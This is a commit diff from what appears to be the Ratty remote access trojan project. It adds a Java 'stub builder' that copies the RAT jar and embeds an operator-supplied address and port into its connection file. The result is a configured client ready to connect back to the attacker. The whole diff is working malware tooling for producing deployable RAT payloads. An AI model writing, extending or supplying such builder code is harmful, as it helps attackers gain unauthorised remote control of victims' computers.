Major changes

Added stub builder

Ratty/src/de/sogomn/rat/builder/StubBuilder.java

@@ -0,0 +1,114 @@
+package de.sogomn.rat.builder;
+
+import java.io.ByteArrayInputStream;
+import java.io.File;
+import java.io.IOException;
+import java.net.URI;
+import java.net.URISyntaxException;
+import java.nio.file.FileSystem;
+import java.nio.file.FileSystems;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.nio.file.StandardCopyOption;
+
+import javax.swing.JFileChooser;
+import javax.swing.JOptionPane;
+
+import com.alee.laf.WebLookAndFeel;
+
+import de.sogomn.engine.util.FileUtils;
+import de.sogomn.rat.Ratty;
+
+
+final class StubBuilder {
+	
+	private static final String ADDRESS_MESSAGE = "Address?";
+	private static final String PORT_MESSAGE = "Port?";
+	
+	private static final String FILE_NAME = "/connection_data.txt";
+	
+	private StubBuilder() {
+		//...
+	}
+	
+	private static File getFileInput(final boolean open) {
+		final JFileChooser fileChooser = new JFileChooser();
+		final File currentDirectory = new File("");
+		
+		fileChooser.setCurrentDirectory(currentDirectory);
+		
+		final int input = open ? fileChooser.showOpenDialog(null) : fileChooser.showSaveDialog(null);
+		
+		if (input == JFileChooser.APPROVE_OPTION) {
+			final File file = fileChooser.getSelectedFile();
+			
+			return file;
+		}
+		
+		return null;
+	}
+	
+	private static File copyJarFile() {
+		final File destination = getFileInput(false);
+		
+		if (destination == null) {
+			return null;
+		}
+		
+		try {
+			final URI sourceUri = Ratty.class.getProtectionDomain().getCodeSource().getLocation().toURI();
+			final File source = new File(sourceUri);
+			
+			FileUtils.copy(source, destination);
+			
+			return destination;
+		} catch (final URISyntaxException ex) {
+			ex.printStackTrace();
+			
+			return null;
+		}
+	}
+	
+	private static void replaceFile(final File jarFile) {
+		final String address = JOptionPane.showInputDialog(ADDRESS_MESSAGE);
+		
+		if (address == null) {
+			return;
+		}
+		
+		final String port = JOptionPane.showInputDialog(PORT_MESSAGE);
+		
+		if (port == null) {
+			return;
+		}
+		
+		final String fileContent = address + "\r\n" + port + "\r\ntrue";
+		final byte[] data = fileContent.getBytes();
+		final ByteArrayInputStream in = new ByteArrayInputStream(data);
+		final Path jarFilePath = jarFile.toPath();
+		
+		try {
+			final FileSystem jarFileSystem = FileSystems.newFileSystem(jarFilePath, null);
+			final Path fileToReplace = jarFileSystem.getPath(FILE_NAME);
+			
+			Files.copy(in, fileToReplace, StandardCopyOption.REPLACE_EXISTING);
+			
+			jarFileSystem.close();
+		} catch (final IOException ex) {
+			ex.printStackTrace();
+		}
+	}
+	
+	public static void main(final String[] args) {
+		WebLookAndFeel.install();
+		
+		final File jarFile = copyJarFile();
+		
+		if (jarFile == null) {
+			System.exit(0);
+		}
+		
+		replaceFile(jarFile);
+	}
+	
+}